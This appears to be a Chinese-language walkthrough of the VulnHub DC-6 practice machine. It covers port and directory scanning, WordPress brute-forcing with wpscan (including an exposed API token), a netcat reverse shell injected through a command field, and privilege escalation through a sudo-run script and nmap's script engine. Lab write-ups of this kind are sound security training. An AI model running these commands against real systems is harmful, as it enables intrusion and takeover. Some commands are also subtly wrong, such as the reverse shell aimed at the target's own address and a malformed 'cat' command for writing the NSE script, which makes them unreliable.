靶场之路-VulnHub-DC-6
一、信息收集
1、扫描靶机ip
2、指纹扫描
这里扫的我有点懵,这里只有两个端口,感觉是要扫扫目录了
nmap -sS -sV 192.168.122.128
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
80/tcp open http Apache httpd 2.4.25 ((Debian))
nmap -p- -sV -A 192.168.122.128
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 3e:52:ce:ce:01:b6:94:eb:7b:03:7d:be:08:7f:5f:fd (RSA)
| 256 3c:83:65:71:dd:73:d7:23:f8:83:0d:e3:46:bc:b5:6f (ECDSA)
|_ 256 41:89:9e:85:ae:30:5b:e0:8f:a4:68:71:06:b4:15:ee (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Did not follow redirect to http://wordy/
这个修复是因为靶场原因,需要在host文件下加入下面命令
nmap -p80 -sV -A 192.168.122.128
whatweb http://192.168.122.128
这里是需要修复一下的,在host文件下添加192.168.122.128 wordy
访问一下80端口,指纹一下
3、目录扫描
dirb http://192.168.122.128
dirsearch -u http://192.168.122.128/ -e * -i 200
这里没让我失望,80端口打不开不知道什么原因,看看扫出来的目录吧
4、寻找突破点
1、访问80端口
我只能访问几个目录,没什么头绪,但是在其中一个目录下找到了要用POST方法,这里因为有很多无法访问,被拒绝之类或找不到网页
这里有一些问答信息,感觉奇奇怪怪的
这里我们扫描了80端口网页使用的服务,一个WordPress5.1.1,应该是文字输入管理程序相关的,php、mysql、包括其他一些服务,不过这个WordPress感觉像突破口,还有Apache2.4.25。
2、爆破后台
这里两个思路,一个爆破WordPress后台,另一个找一起有无相关exp,我们还是要扫一下找找后台 我们尝试爆破该登录框
wpscan --url http://wordy -e u
爆破一下后台登陆
这里也是扫出来几个账户
我们尝试爆破,这里是下载靶机时作者提示使用kali自带的密码本即可,那我们尝试
gzip -d rockyou.txt.gz
首先解压这个密码本
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
从rockyou密码本中筛选密码存入passwords.txt中
wpscan --url http://wordy -U DC.txt -P passwords.txt --api-token PaWVhkqRqXsFOVwzzahi8Assl1uYaFSA1gqAnFsLgss
我们指定密码本、账户本和url就可以开始爆破了,这里的token自己去官网注册就行,每天使用25次
这里扫了快1个小时,一定要把所有字典都丢进一个路径里面。ok
3、寻找注入点
我们登录进去是一个邮箱系统,我们找到了一个命令执行的地方
这里能执行命令,没过滤,可以尝试反连shell
nc -e /bin/bash 192.168.122.128 6666
这里就是我们要注入的命令,提前在kali中开一个6666的监听
nc -nvlp 6666
这样就可以了
由于这里长度受到限制,我们进入f12改一下输入长度即可
4、shell反连、pty修复shell
这里反连shell成功后我们查看一下文件,但感觉这个shell是不完整的,可以尝试使用python的pty工具修复一下shell
修复之后我们进入home目录下有一个txt,一个新的账户。这个第一时间没联想到应该是ssh,尝试一下
5、找到突破口,反连一下登入jesn权限
这里有一个jens执行的文件,我们把提权语句丢到这个文件夹中
echo "/bin/bash" >>/home/jens/backups.sh
把这条命令丢进这个文件夹,这是一条提权命令,而这个文件是jens用户的文件,所以执行时反弹的shell也是jens的shell
sudo -u jens /home/jens/backups.sh
用jens,sudo命令来执行这个文件
然后我们就进入了jens中,我们查看有没有不需要sudo命令执行的文件夹
这里是有一个nmap文件,我们尝试使用这个文件夹来提权,nmap这个文件
6、nmap提权
1、这里似乎是两种方式提权,一种就是我们自己创建一个文件夹,然后写提权命令
touch root_shell.sh
创建一个sh文件
echo 'os.execute("/bin/sh")'>root_shell.sh
把提权命令写入该文件
sudo nmap --script=root_shell.sh
--script=root_shell.sh 表示使用 root_shell.sh 这个脚本进行扫描。这个脚本可能是用户自定义的,也可能是用于尝试获取目标主机 root
2、第二种是用NSE脚本提权,我看到做题方法大致就是这两种,一个NSE另一个就是上面方法
cat os.execute("/bin/sh") > nse_root.nse
nmap --script=/path/to/nse_root.nse
❝Nmap的NSE脚本提权 NSE(Nmap Scripting Engine)是Nmap的一个强大的功能,允许用户编写脚本来扩展Nmap的功能。如果Nmap以root权限运行,可以通过编写NSE脚本来执行提权操作。以下是一个简单的NSE脚本示例,该脚本尝试执行一个shell:
cat os.execute("/bin/sh") > nse_root.nse
然后,使用以下命令运行该NSE脚本:
nmap --script=/path/to/nse_root.nse
这将执行脚本中的命令,如果Nmap以root权限运行,那么就可以获取一个root shell。
总结:这个靶机并不算特别复杂,但是需要一些知识面,在打靶过程中也是越来越顺利了,接下来就要高强度打靶了,一天打两台或者更多吧,这是第七台靶机,打到10台左右就要独立尝试了,那是一个非常耗时的事情,希望多多尝试、多多坚持。而且这次靶机并没用到exp,而是其他一些知识,还是多练吧
2025.3.5 AM 9:53分